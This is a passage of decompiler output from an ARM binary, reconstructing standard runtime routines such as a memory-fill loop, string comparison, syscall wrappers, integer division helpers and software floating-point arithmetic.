v7 = a3 - v3;
if ( (v7 != 0) & v6 )
{
v8 = -a1 & 0x1C;
if ( v8 )
{
if ( v8 > (unsigned int)v7 )
v8 = v7 & 0x1C;
v7 -= v8;
v6 = __CFSHL__(v8, 28);
v9 = v8 << 28;
if ( v6 )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
v10 = a1 + 8;
*(_DWORD *)v10 = v4;
*(_DWORD *)(v10 + 4) = v4;
a1 = v10 + 8;
}
if ( v9 < 0 )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
a1 += 8;
}
if ( __CFSHL__(v9, 2) )
{
*(_DWORD *)a1 = v4;
a1 += 4;
}
}
v11 = v7 - 32;
if ( v11 >= 0 )
{
do
{
v6 = (unsigned int)v11 >= 0x20;
v11 -= 32;
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
*(_DWORD *)(a1 + 8) = v4;
*(_DWORD *)(a1 + 12) = v4;
*(_DWORD *)(a1 + 16) = v4;
*(_DWORD *)(a1 + 20) = v4;
*(_DWORD *)(a1 + 24) = v4;
*(_DWORD *)(a1 + 28) = v4;
a1 += 32;
}
while ( v6 );
}
v12 = v11 + 32;
v6 = __CFSHL__(v12, 28);
v13 = v12 << 28;
if ( v6 )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
*(_DWORD *)(a1 + 8) = v4;
*(_DWORD *)(a1 + 12) = v4;
a1 += 16;
}
if ( v13 < 0 )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
a1 += 8;
}
v6 = __CFSHL__(v13, 2);
v14 = 4 * v13;
if ( v6 )
{
*(_DWORD *)a1 = v4;
a1 += 4;
}
if ( v14 < 0 )
{
*(_WORD *)a1 = v4;
a1 += 2;
}
if ( __CFSHL__(v14, 2) )
*(_BYTE *)a1 = v4;
}
}

//----- (0000E36C) --------------------------------------------------------
int __fastcall sub_E36C(void *a1, void *a2)
{
char v2; // r2@2
unsigned int v3; // r0@2
unsigned int v4; // r1@2
int v5; // r0@2
unsigned int v6; // r12@2
unsigned int v7; // t1@2
int v8; // r1@3
int v9; // r3@3
int v10; // t1@3
unsigned int v11; // r2@4
int v12; // t1@4
char v13; // zf@5
unsigned int v14; // t1@8
int v15; // t1@8
unsigned int v16; // r0@9
char v17; // zf@9
int result; // r0@13
unsigned int v19; // r2@15
unsigned int v20; // t1@15
int v21; // r3@15
int v22; // t1@15
char v23; // zf@15
int v24; // r12@19
unsigned int v25; // r1@19
int v26; // r0@19
unsigned int v27; // r4@19
unsigned int v28; // t1@19
int v29; // r1@19
unsigned int v30; // r5@19
unsigned int v31; // t1@19
unsigned int v32; // r12@21
unsigned int v33; // r3@22
unsigned int v34; // t1@23
unsigned int v35; // t1@26
unsigned int v36; // r5@27
unsigned int v37; // r3@32
unsigned int v38; // t1@33
unsigned int v39; // t1@36
unsigned int v40; // t1@43
unsigned int v41; // t1@46
int v42; // r2@52
int v43; // r0@52
char v44; // zf@52

__pld(a1);
__pld(a2);
if ( ((unsigned int)a1 ^ (unsigned int)a2) & 3 )
{
while ( (unsigned __int8)a1 & 3 )
{
v20 = *(_BYTE *)a1;
a1 = (char *)a1 + 1;
v19 = v20;
v22 = *(_BYTE *)a2;
a2 = (char *)a2 + 1;
v21 = v22;
v23 = v19 == 1;
if ( v19 >= 1 )
v23 = v19 == v21;
if ( !v23 )
return v19 - v21;
}
v24 = (unsigned __int8)a2 & 3;
v25 = (unsigned int)a2 & 0xFFFFFFFC;
v28 = *(_DWORD *)a1;
v26 = (int)((char *)a1 + 4);
v27 = v28;
v31 = *(_DWORD *)v25;
v29 = v25 + 4;
v30 = v31;
if ( v24 == 2 )
{
while ( 1 )
{
v32 = (unsigned __int16)v27;
if ( (unsigned __int16)v27 != v30 >> 16 )
goto LABEL_40;
v37 = (v27 - 16843009) & ~v27 & 0x80808080;
if ( v37 )
break;
v38 = *(_DWORD *)v29;
v29 += 4;
v30 = v38;
if ( (v32 ^ v27) != v30 << 16 )
{
v30 <<= 16;
v32 = v27 >> 16;
LABEL_40:
v36 = v30 >> 16;
goto LABEL_52;
}
v39 = *(_DWORD *)v26;
v26 += 4;
v27 = v39;
}
if ( !(v37 << 16) )
{
v36 = *(_WORD *)v29;
v32 = v27 >> 16;
goto LABEL_52;
}
LABEL_51:
result = 0;
}
else
{
if ( (unsigned int)v24 > 2 )
{
while ( 1 )
{
v32 = (unsigned __int8)v27;
if ( (unsigned __int8)v27 != v30 >> 24 )
{
v36 = v30 >> 24;
goto LABEL_52;
}
if ( (v27 - 16843009) & ~v27 & 0x80808080 )
break;
v40 = *(_DWORD *)v29;
v29 += 4;
v30 = v40;
if ( (v32 ^ v27) != v30 << 8 )
goto LABEL_50;
v41 = *(_DWORD *)v26;
v26 += 4;
v27 = v41;
}
if ( !(unsigned __int8)v27 )
goto LABEL_51;
v30 = *(_DWORD *)v29;
LABEL_50:
v32 = v27 >> 8;
v36 = v30 & 0xFFFFFF;
}
else
{
while ( 1 )
{
v32 = v27 & 0xFFFFFF;
if ( (v27 & 0xFFFFFF) != v30 >> 8 )
{
v36 = v30 >> 8;
goto LABEL_52;
}
v33 = (v27 - 16843009) & ~v27 & 0x80808080;
if ( v33 )
break;
v34 = *(_DWORD *)v29;
v29 += 4;
v30 = v34;
if ( (v32 ^ v27) != v30 << 24 )
{
v32 = v27 >> 24;
v36 = (unsigned __int8)v30;
goto LABEL_52;
}
v35 = *(_DWORD *)v26;
v26 += 4;
v27 = v35;
}
if ( (v27 - 16843009) & ~v27 & 0x808080 )
goto LABEL_51;
v36 = *(_BYTE *)v29;
v32 = v27 >> 24;
}
while ( 1 )
{
LABEL_52:
v42 = (unsigned __int8)v32;
v43 = (unsigned __int8)v36;
v44 = (unsigned __int8)v36 == 1;
if ( (unsigned __int8)v36 >= 1u )
v44 = v43 == v42;
if ( !v44 )
break;
v32 >>= 8;
v36 >>= 8;
}
result = v42 - v43;
}
}
else
{
v2 = (unsigned __int8)a1 & 3;
v13 = ((unsigned __int8)a1 & 3) == 0;
v3 = (unsigned int)a1 & 0xFFFFFFFC;
v4 = (unsigned int)a2 & 0xFFFFFFFC;
v7 = *(_DWORD *)v3;
v5 = v3 + 4;
v6 = v7;
if ( v13 )
{
v10 = *(_DWORD *)v4;
v8 = v4 + 4;
v9 = v10;
}
else
{
v11 = 0xFFFFFFu >> 8 * (v2 ^ 3);
v12 = *(_DWORD *)v4;
v8 = v4 + 4;
v6 |= v11;
v9 = v12 | v11;
}
while ( 1 )
{
__pld((void *)(v5 + 8));
__pld((void *)(v8 + 8));
v13 = v6 == v9;
if ( v6 == v9 )
v13 = ((v6 - 16843009) & ~v6 & 0x80808080) == 0;
if ( !v13 )
break;
v14 = *(_DWORD *)v5;
v5 += 4;
v6 = v14;
v15 = *(_DWORD *)v8;
v8 += 4;
v9 = v15;
}
while ( 1 )
{
v16 = v6 << 24;
v6 >>= 8;
v17 = v16 == 1;
if ( v16 >= 1 )
v17 = v16 == v9 << 24;
if ( !v17 )
break;
v9 = (unsigned int)v9 >> 8;
}
result = (v16 >> 24) - (unsigned __int8)v9;
}
return result;
}

//----- (0000E5DC) --------------------------------------------------------
int __fastcall sub_E5DC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000E5FC) --------------------------------------------------------
int __fastcall sub_E5FC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000E6BC) --------------------------------------------------------
int __fastcall sub_E6BC(int result)
{
int v1; // r12@0
int v2; // r4@1

v2 = *(_DWORD *)v1;
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000E6EC) --------------------------------------------------------
int __fastcall sub_E6EC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000E70C) --------------------------------------------------------
int __fastcall sub_E70C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000E7AC) --------------------------------------------------------
int __fastcall sub_E7AC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000E7CC) --------------------------------------------------------
int __fastcall sub_E7CC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000E80C) --------------------------------------------------------
int __fastcall sub_E80C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000E83C) --------------------------------------------------------
int __fastcall sub_E83C(int a1, int a2, int a3, int a4)
{
__asm
{
SVC 0
SVC 0
}
return sub_E85C(v0, a2, a3, a4);
}

//----- (0000E85C) --------------------------------------------------------
int __fastcall sub_E85C(int a1, int a2, int a3, int a4)
{
int result; // r0@1
int v9; // [sp+0h] [bp-10h]@0
int (__fastcall *v10)(_DWORD); // [sp+4h] [bp-Ch]@0
int v11; // [sp+8h] [bp-8h]@3

*(_DWORD *)(a2 - 4) = a1;
*(_DWORD *)(a2 - 8) = a4;
result = a3;
__asm { SVC 0 }
if ( (a3 < 0) ^ _VF )
{
result = -1;
}
else if ( !a3 )
{
result = sub_1FAB4(v10, v9, (unsigned int *)&v11);
}
return result;
}

//----- (0000E91C) --------------------------------------------------------
unsigned int __fastcall sub_E91C(unsigned int result, unsigned int a2)
{
int v2; // lr@0
char v3; // r2@6
unsigned int v4; // r1@6
unsigned int v5; // r3@6
unsigned int v6; // r2@6
char v7; // zf@15

if ( a2 != 1 )
{
if ( a2 < 1 )
{
nullsub_1(result);
JUMPOUT(__CS__, v2);
}
if ( result <= a2 )
{
result = result == a2;
}
else if ( a2 & (a2 - 1) )
{
v3 = __clz(a2) - __clz(result);
v4 = a2 << v3;
v5 = 1 << v3;
v6 = 0;
while ( 1 )
{
if ( result >= v4 )
{
result -= v4;
v6 |= v5;
}
if ( result >= v4 >> 1 )
{
result -= v4 >> 1;
v6 |= v5 >> 1;
}
if ( result >= v4 >> 2 )
{
result -= v4 >> 2;
v6 |= v5 >> 2;
}
if ( result >= v4 >> 3 )
{
result -= v4 >> 3;
v6 |= v5 >> 3;
}
v7 = result == 0;
if ( result )
{
v5 >>= 4;
v7 = v5 == 0;
}
if ( v7 )
break;
v4 >>= 4;
}
result = v6;
}
else
{
result >>= 31 - __clz(a2);
}
}
return result;
}
// EAD4: using guessed type int __cdecl nullsub_1(_DWORD);

//----- (0000E9C8) --------------------------------------------------------
unsigned int __fastcall sub_E9C8(unsigned int a1, unsigned int a2)
{
return sub_E91C(a1, a2);
}

//----- (0000E9E0) --------------------------------------------------------
int __fastcall sub_E9E0(int result, unsigned int a2)
{
int v2; // lr@0
int v3; // r12@1
int v4; // r3@5
char v5; // r0@9
unsigned int v6; // r1@9
unsigned int v7; // r2@9
char v8; // zf@18

v3 = result ^ a2;
if ( !a2 )
{
nullsub_1(result);
JUMPOUT(__CS__, v2);
}
if ( (a2 & 0x80000000) != 0 )
a2 = -a2;
if ( a2 == 1 )
{
if ( (v3 ^ result) < 0 )
result = -result;
}
else
{
v4 = result;
if ( result < 0 )
v4 = -result;
if ( v4 <= a2 )
{
if ( v4 < a2 )
result = 0;
if ( v4 == a2 )
result = (v3 >> 31) | 1;
}
else if ( a2 & (a2 - 1) )
{
v5 = __clz(a2) - __clz(v4);
v6 = a2 << v5;
v7 = 1 << v5;
result = 0;
while ( 1 )
{
if ( v4 >= v6 )
{
v4 -= v6;
result |= v7;
}
if ( v4 >= v6 >> 1 )
{
v4 -= v6 >> 1;
result |= v7 >> 1;
}
if ( v4 >= v6 >> 2 )
{
v4 -= v6 >> 2;
result |= v7 >> 2;
}
if ( v4 >= v6 >> 3 )
{
v4 -= v6 >> 3;
result |= v7 >> 3;
}
v8 = v4 == 0;
if ( v4 )
{
v7 >>= 4;
v8 = v7 == 0;
}
if ( v8 )
break;
v6 >>= 4;
}
if ( v3 < 0 )
result = -result;
}
else
{
result = (unsigned int)v4 >> (31 - __clz(a2));
if ( v3 < 0 )
result = -result;
}
}
return result;
}
// EAD4: using guessed type int __cdecl nullsub_1(_DWORD);

//----- (0000EAE4) --------------------------------------------------------
int __fastcall sub_EAE4(__int64 a1, __int64 a2)
{
int v2; // r4@1
int v3; // r5@1
char v4; // zf@1
signed int v5; // r4@9
unsigned __int8 v6; // zf@9
char v7; // nf@9
unsigned __int8 v8; // vf@9
int v9; // r5@9
__int64 v10; // r2@12
int v11; // r4@19
char v12; // lr@19
int v13; // r12@20
__int64 v14; // r0@20
char v15; // nf@20
char v16; // r5@21
int v17; // off@29
int v18; // off@29
unsigned __int8 v19; // cf@30
int v20; // off@33
int v21; // r4@33
char v22; // zf@34
unsigned int v23; // r3@36
int v24; // r3@38
unsigned __int8 v25; // zf@38
char v26; // nf@38
unsigned __int8 v27; // vf@38
int v28; // r2@38
int v29; // r4@46
int v30; // r4@48
int v31; // r4@48
char v32; // zf@55
char v33; // zf@58

v2 = 2 * HIDWORD(a1);
v3 = 2 * HIDWORD(a2);
v4 = 2 * HIDWORD(a1) == 2 * HIDWORD(a2);
if ( 2 * HIDWORD(a1) == 2 * HIDWORD(a2) )
v4 = (_DWORD)a1 == (_DWORD)a2;
if ( !v4 )
{
v4 = (v2 | (unsigned int)a1) == 0;
if ( v2 | (unsigned int)a1 )
{
v4 = (v3 | (unsigned int)a2) == 0;
if ( v3 | (unsigned int)a2 )
{
v4 = ~(v2 >> 21) == 0;
if ( ~(v2 >> 21) )
v4 = ~(v3 >> 21) == 0;
}
}
}
if ( v4 )
{
v32 = ~(v2 >> 21) == 0;
if ( ~(v2 >> 21) )
v32 = ~(v3 >> 21) == 0;
if ( v32 )
{
if ( ~(v2 >> 21) )
a1 = a2;
}
else
{
v33 = v2 == v3;
if ( v2 == v3 )
v33 = (_DWORD)a1 == (_DWORD)a2;
if ( v33 )
{
if ( HIDWORD(a1) != HIDWORD(a2) )
{
LODWORD(a1) = 0;
return a1;
}
if ( !((unsigned int)v2 >> 21) )
{
LODWORD(a1) = 2 * a1;
return a1;
}
if ( (unsigned int)v2 < 0xFFC00000 )
return a1;
goto LABEL_69;
}
if ( !(v2 | (unsigned int)a1) )
LODWORD(a1) = a2;
}
}
else
{
v5 = (unsigned int)v2 >> 21;
v8 = __OFSUB__((unsigned int)v3 >> 21, v5);
v9 = ((unsigned int)v3 >> 21) - v5;
v6 = v9 == 0;
v7 = v9 < 0;
if ( (v9 < 0) ^ v8 )
v9 = -v9;
if ( !((unsigned __int8)(v7 ^ v8) | v6) )
{
v5 += v9;
v10 = a1 ^ a2;
a1 ^= v10;
a2 = a1 ^ v10;
}
if ( (unsigned int)v9 <= 0x36 )
{
v4 = (HIDWORD(a1) & 0x80000000) == 0;
HIDWORD(a1) = HIDWORD(a1) & 0xFFFFF | 0x100000;
if ( !v4 )
{
v19 = (unsigned int)a1 <= 0;
LODWORD(a1) = -(signed int)a1;
HIDWORD(a1) = -(!v19 + HIDWORD(a1));
}
v4 = (HIDWORD(a2) & 0x80000000) == 0;
HIDWORD(a2) = HIDWORD(a2) & 0xFFFFF | 0x100000;
if ( !v4 )
{
v19 = (unsigned int)a2 <= 0;
LODWORD(a2) = -(signed int)a2;
HIDWORD(a2) = -(!v19 + HIDWORD(a2));
}
if ( v5 == v9 )
{
HIDWORD(a2) ^= 0x100000u;
if ( v5 )
{
--v9;
}
else
{
HIDWORD(a1) ^= 0x100000u;
v5 = 1;
}
}
v11 = v5 - 1;
v12 = 32 - v9;
if ( v9 > 32 )
{
v16 = v9 - 32;
v13 = HIDWORD(a2) << (v12 + 32);
if ( (unsigned int)a2 >= 1 )
v13 |= 2u;
LODWORD(a1) = a1 + (SHIDWORD(a2) >> v16);
HIDWORD(a1) += (SHIDWORD(a2) >> 31) + __CFSHR__(HIDWORD(a2), 31);
v15 = SHIDWORD(a1) < 0;
}
else
{
v13 = (_DWORD)a2 << v12;
v14 = a1 + ((unsigned int)a2 >> v9);
LODWORD(a1) = v14 + (HIDWORD(a2) << v12);
HIDWORD(a1) += (SHIDWORD(a2) >> v9) + __CFSHR__(HIDWORD(a2), v9);
v15 = SHIDWORD(a1) < 0;
}
if ( v15 )
{
v19 = (unsigned int)v13 <= 0;
v13 = -v13;
LODWORD(a1) = -(!v19 + a1);
HIDWORD(a1) = -(HIDWORD(a1) + 1);
}
if ( HIDWORD(a1) >= 0x100000 )
{
if ( HIDWORD(a1) < 0x200000 )
goto LABEL_30;
v17 = __RCR__(a1, 1);
LODWORD(a1) = v17;
v18 = __RCR__(v13, 1);
v13 = v18;
if ( (unsigned int)((v11 + 1) << 21) < 0xFFC00000 )
goto LABEL_30;
LABEL_69:
LODWORD(a1) = 0;
return a1;
}
v19 = __CFSHL__(v13, 1);
v13 *= 2;
v20 = v19 + (_DWORD)a1;
v19 = __CFADD__(v19, (_DWORD)a1) | __CFADD__((_DWORD)a1, v20);
LODWORD(a1) = a1 + v20;
HIDWORD(a1) += v19 + HIDWORD(a1);
v21 = v11 - 1;
if ( HIDWORD(a1) & 0x100000 )
{
LABEL_30:
v19 = (unsigned int)v13 >= 0x80000000;
if ( v13 == 0x80000000 )
v19 = a1 & 1;
LODWORD(a1) = v19 + (_DWORD)a1;
return a1;
}
v22 = HIDWORD(a1) == 0;
if ( !HIDWORD(a1) )
{
HIDWORD(a1) = a1;
LODWORD(a1) = 0;
}
v23 = __clz(HIDWORD(a1));
if ( v22 )
v23 += 32;
v24 = v23 - 11;
v27 = __OFSUB__(v24, 32);
v28 = v24 - 32;
v25 = v24 == 32;
v26 = v24 - 32 < 0;
if ( v24 < 32 )
{
v27 = __OFADD__(v28, 12);
v25 = v24 == 20;
v26 = v24 - 20 < 0;
if ( !((unsigned __int8)(v26 ^ __OFADD__(v28, 12)) | (v24 == 20)) )
{
LODWORD(a1) = HIDWORD(a1) << v24;
HIDWORD(a1) >>= 32 - v24;
LABEL_46:
v8 = __OFSUB__(v21, v24);
v29 = v21 - v24;
if ( (v29 < 0) ^ v8 )
{
v30 = ~v29;
v8 = __OFSUB__(v30, 31);
v31 = v30 - 31;
if ( (v31 < 0) ^ v8 )
LODWORD(a1) = ((unsigned int)a1 >> (v31 + 32)) | (HIDWORD(a1) << -(char)v31);
else
LODWORD(a1) = HIDWORD(a1) >> v31;
}
return a1;
}
LOBYTE(v28) = v24;
}
if ( (unsigned __int8)(v26 ^ v27) | v25 )
LOBYTE(v13) = 32 - v28;
HIDWORD(a1) <<= v28;
if ( (unsigned __int8)(v26 ^ v27) | v25 )
{
HIDWORD(a1) |= (unsigned int)a1 >> v13;
LODWORD(a1) = (_DWORD)a1 << v28;
}
goto LABEL_46;
}
}
return a1;
}

//----- (0000ED90) --------------------------------------------------------
int __fastcall sub_ED90(int result)
{
if ( result )
JUMPOUT(&loc_EC2C);
return result;
}

//----- (0000EDB4) --------------------------------------------------------
int __fastcall sub_EDB4(int result)
{
if ( result )
JUMPOUT(&loc_EC2C);
return result;
}

//----- (0000EE90) --------------------------------------------------------
int __fastcall sub_EE90(int result, unsigned int a2, int a3, unsigned int a4)
{
int v4; // r5@0
char v5; // zf@1
int v6; // r4@1
int v7; // r4@7
int v8; // r6@7
int v9; // r1@7
int v10; // r3@7
char v11; // zf@7
int v12; // r1@9
int v13; // r3@9
int v14; // r12@10
unsigned int v15; // r5@10
unsigned int v16; // lr@10
unsigned int v17; // r2@10
unsigned int v18; // r5@10
unsigned int v19; // lr@10
unsigned __int64 v20; // kr18_8@10
unsigned int v21; // r5@10
unsigned int v22; // r6@10
int v23; // r4@12
int v24; // off@13
int v25; // r1@14
unsigned int v26; // lr@14
unsigned __int8 v27; // cf@14
unsigned __int8 v28; // zf@14
char v29; // nf@14
unsigned __int8 v30; // vf@14
int v31; // r12@14
unsigned __int8 v32; // cf@17
unsigned int v33; // r1@20
unsigned __int8 v34; // zf@20
char v35; // nf@20
unsigned __int8 v36; // vf@20
int v37; // r4@20
int v38; // r4@29
int v39; // r4@29
int v40; // r4@31
char v41; // r4@33
unsigned int v42; // r3@33
char v43; // r4@36
unsigned int v44; // r3@36
int v45; // lr@39
int v46; // r3@39
int v47; // r5@47
char v48; // zf@49
char v49; // zf@52
char v50; // zf@57

v6 = (a2 >> 20) & 0x7FF;
v5 = v6 == 0;
if ( v6 )
{
v4 = (a4 >> 20) & 0x7FF;
v5 = v4 == 0;
}
if ( !v5 )
{
v5 = v6 == 2047;
if ( v6 != 2047 )
v5 = v4 == 2047;
}
if ( v5 )
{
v48 = v6 == 2047;
v47 = (a4 >> 20) & 0x7FF;
if ( v6 != 2047 )
v48 = v47 == 2047;
if ( v48 )
{
v50 = (result | 2 * a2) == 0;
if ( result | 2 * a2 )
{
v50 = (a3 | 2 * a4) == 0;
}
else
{
result = a3;
a2 = a4;
}
if ( !v50 && (v6 != 2047 || !(result | (a2 << 12))) )
{
if ( v47 == 2047 && a3 | (a4 << 12) )
return a3;
return 0;
}
}
else
{
v49 = (result | 2 * a2) == 0;
if ( result | 2 * a2 )
v49 = (a3 | 2 * a4) == 0;
if ( v49 )
{
result = 0;
}
else
{
if ( v6 )
goto LABEL_69;
while ( 1 )
{
v27 = __CFSHL__(result, 1);
result *= 2;
a2 += v27 + a2;
if ( a2 & 0x100000 )
break;
--v6;
}
if ( !v47 )
{
LABEL_69:
while ( 1 )
{
v27 = __CFSHL__(a3, 1);
a3 *= 2;
a4 += v27 + a4;
if ( a4 & 0x100000 )
break;
--v47;
}
}
}
}
}
else
{
v7 = v6 + v4;
v8 = a2 ^ a4;
v9 = a2 & 0x1FFFFF;
v10 = a4 & 0x1FFFFF;
v11 = (result | (v9 << 12)) == 0;
if ( result | (v9 << 12) )
v11 = (a3 | (v10 << 12)) == 0;
v12 = v9 | 0x100000;
v13 = v10 | 0x100000;
if ( v11 )
{
result |= a3;
v33 = (v8 & 0x80000000 | v12) ^ v13;
v36 = __OFSUB__(v7, 1023);
v37 = v7 - 1023;
v34 = v37 == 0;
v35 = v37 < 0;
if ( !((unsigned __int8)((v37 < 0) ^ v36) | (v37 == 0)) )
{
v36 = __OFSUB__(2047, v37);
v34 = 2047 == v37;
v35 = 2047 - v37 < 0;
}
if ( !((unsigned __int8)(v35 ^ v36) | v34) )
return result;
v25 = v33 | 0x100000;
v26 = 0;
v30 = __OFSUB__(v37, 1);
v23 = v37 - 1;
v28 = v23 == 0;
v29 = v23 < 0;
}
else
{
v14 = result * a3;
v15 = ((unsigned int)v12 * (unsigned __int64)(unsigned int)a3
+ (unsigned int)((unsigned int)result * (unsigned __int64)(unsigned int)a3 >> 32)) >> 32;
v16 = v12 * a3 + ((unsigned int)result * (unsigned __int64)(unsigned int)a3 >> 32);
v17 = v8 & 0x80000000;
v20 = (unsigned int)result * (unsigned __int64)(unsigned int)v13 + __PAIR__(v15, v16);
v18 = v20 >> 32;
v19 = v20;
v22 = ((unsigned int)v12 * (unsigned __int64)(unsigned int)v13 + v18) >> 32;
v21 = v12 * v13 + v18;
if ( v14 )
v19 = v20 | 1;
v23 = (__PAIR__((unsigned int)(v7 - 255), v22) - 3298534883840LL) >> 32;
if ( v22 < 0x200 )
{
v27 = __CFSHL__(v19, 1);
v19 *= 2;
v24 = v27 + v21;
v27 = __CFADD__(v27, v21) | __CFADD__(v21, v24);
v21 += v24;
v22 += v27 + v22;
}
v25 = v17 | (v22 << 11) | (v21 >> 21);
result = (v21 << 11) | (v19 >> 21);
v26 = v19 << 11;
v30 = __OFSUB__(v23, 253);
v27 = (unsigned int)v23 >= 0xFD;
v31 = v23 - 253;
v28 = v23 == 253;
v29 = v23 - 253 < 0;
if ( (unsigned int)v23 > 0xFD )
{
v30 = __OFSUB__(v31, 1792);
v27 = (unsigned int)v31 >= 0x700;
v28 = v31 == 1792;
v29 = v23 - 2045 < 0;
}
if ( !(!v28 & v27) )
{
v32 = v26 >= 0x80000000;
if ( v26 == 0x80000000 )
v32 = result & 1;
result += v32;
return result;
}
}
if ( !((unsigned __int8)(v29 ^ v30) | v28) )
return 0;
if ( (unsigned __int8)((v23 + 54 < 0) ^ __OFADD__(v23, 54)) | (v23 == -54) )
{
result = 0;
}
else
{
v38 = -v23;
v30 = __OFSUB__(v38, 32);
v39 = v38 - 32;
if ( (v39 < 0) ^ v30 )
{
v30 = __OFADD__(v39, 12);
v40 = v39 + 12;
if ( (unsigned __int8)((v40 < 0) ^ v30) | (v40 == 0) )
{
v41 = v40 + 20;
v42 = result << (32 - v41);
result = (((unsigned int)result >> v41) | (v25 << (32 - v41))) + (v42 >> 31);
if ( !(v26 | 2 * v42) )
result &= ~(v42 >> 31);
}
else
{
v43 = 12 - v40;
v44 = result << v43;
result = (((unsigned int)result >> (32 - v43)) | (v25 << v43)) + ((unsigned int)(result << v43) >> 31);
if ( !(v26 | 2 * v44) )
result &= ~(v44 >> 31);
}
}
else
{
v45 = v26 | (result << (32 - v39));
v46 = ((unsigned int)result >> v39) | (v25 << (32 - v39));
result = (((unsigned int)v25 >> v39) & ~((v25 & 0x80000000) >> v39)) + ((unsigned int)v46 >> 31);
if ( !(v45 | 2 * v46) )
result &= ~((unsigned int)v46 >> 31);
}
}
}
return result;
}

//----- (0000F0FC) --------------------------------------------------------
void __fastcall sub_F0FC(int a1, int a2, int a3, unsigned int a4)
{
int v4; // r5@0
unsigned int v5; // r12@1
char v6; // zf@1
int v7; // r4@1
int v8; // r4@8
int v9; // lr@8
unsigned int v10; // r1@8
__int64 v11; // r2@9
int v12; // r5@9
unsigned int v13; // r6@9
unsigned int v14; // r1@9
unsigned __int8 v15; // cf@9
int v16; // r4@11
int v17; // off@12
unsigned int v18; // r5@13
unsigned int v19; // r6@13
__int64 v20; // r2@13
int v21; // off@13
signed int v22; // r0@13
unsigned int v23; // r12@13
unsigned int v24; // lr@14
unsigned int v25; // r3@16
int v26; // r2@16
unsigned int v27; // off@16
unsigned int v28; // lr@16
unsigned int v29; // r3@18
unsigned int v30; // r2@18
unsigned int v31; // off@18
unsigned int v32; // lr@18
signed __int64 v33; // r2@20
unsigned int v34; // off@20
unsigned int v35; // lr@20
unsigned __int8 v36; // cf@26
char v37; // zf@26
int v38; // r12@26
unsigned __int8 v39; // zf@31
char v40; // nf@31
unsigned __int8 v41; // vf@31
int v42; // r4@31

v5 = 2047;
v7 = ((unsigned int)a2 >> 20) & 0x7FF;
v6 = v7 == 0;
if ( v7 )
{
v4 = (a4 >> 20) & 0x7FF;
v6 = v4 == 0;
}
if ( !v6 )
{
v6 = v7 == 2047;
if ( v7 != 2047 )
v6 = v4 == 2047;
}
if ( v6 )
sub_F290(a1, a2, a3, a4);
v8 = v7 - v4;
v9 = a2 ^ a4;
v10 = a2 << 12;
if ( a3 | (a4 << 12) )
{
HIDWORD(v11) = (a4 << 8) & 0xFFFFFFF | 0x10000000 | ((unsigned int)a3 >> 24);
LODWORD(v11) = a3 << 8;
v12 = (v10 >> 4) | 0x10000000 | ((unsigned int)a1 >> 24);
v13 = a1 << 8;
v14 = v9 & 0x80000000;
v15 = (unsigned int)v12 >= HIDWORD(v11);
if ( v12 == HIDWORD(v11) )
v15 = v13 >= (unsigned int)v11;
v16 = v15 + v8 + 1021;
if ( !v15 )
{
HIDWORD(v11) >>= 1;
v17 = __RCR__(v11, 1);
LODWORD(v11) = v17;
}
v18 = (__PAIR__((unsigned int)v12, v13) - v11) >> 32;
v19 = v13 - v11;
HIDWORD(v11) >>= 1;
v21 = __RCR__(v11, 1);
LODWORD(v20) = v21;
v22 = 0x100000;
v23 = 0x80000;
while ( 1 )
{
v24 = (__PAIR__(v18, v19) - v20) >> 32;
if ( __CFADD__(v18, ~HIDWORD(v20) + (v19 >= (unsigned int)v20)) )
{
v19 -= v20;
v18 = v24;
v22 |= v23;
}
HIDWORD(v20) >>= 1;
v27 = __RCR__(v20, 1);
LODWORD(v20) = v27;
v28 = (__PAIR__(v18, v19) - __PAIR__(HIDWORD(v20), v27)) >> 32;
if ( __CFADD__(v18, ~HIDWORD(v20) + (v19 >= v27)) )
{
v19 -= v26;
v18 = v28;
v22 |= v23 >> 1;
}
v29 = v25 >> 1;
v31 = __RCR__(v26, 1);
v30 = v31;
v32 = (__PAIR__(v18, v19) - __PAIR__(v29, v31)) >> 32;
if ( __CFADD__(v18, ~v29 + (v19 >= v31)) )
{
v19 -= v30;
v18 = v32;
v22 |= v23 >> 2;
}
HIDWORD(v33) = v29 >> 1;
v34 = __RCR__(v30, 1);
LODWORD(v33) = v34;
v35 = (__PAIR__(v18, v19) - __PAIR__(HIDWORD(v33), v34)) >> 32;
if ( __CFADD__(v18, ~HIDWORD(v33) + (v19 >= v34)) )
{
v19 -= v33;
v18 = v35;
v22 |= v23 >> 3;
}
if ( !(v18 | v19) )
break;
v18 = 16 * v18 | (v19 >> 28);
v19 *= 16;
HIDWORD(v20) = v33 >> 29;
LODWORD(v20) = 8 * v20;
v23 >>= 4;
if ( !v23 )
{
if ( v14 & 0x100000 )
break;
v14 |= v22;
v22 = 0;
v23 = 2147483648;
}
}
v36 = (unsigned int)v16 >= 0xFD;
v38 = v16 - 253;
v37 = v16 == 253;
if ( (unsigned int)v16 > 0xFD )
{
v36 = (unsigned int)v38 >= 0x700;
v37 = v38 == 1792;
}
if ( !v37 & v36 )
JUMPOUT(&loc_EF74);
}
else
{
v41 = __OFADD__(v8, v5 >> 1);
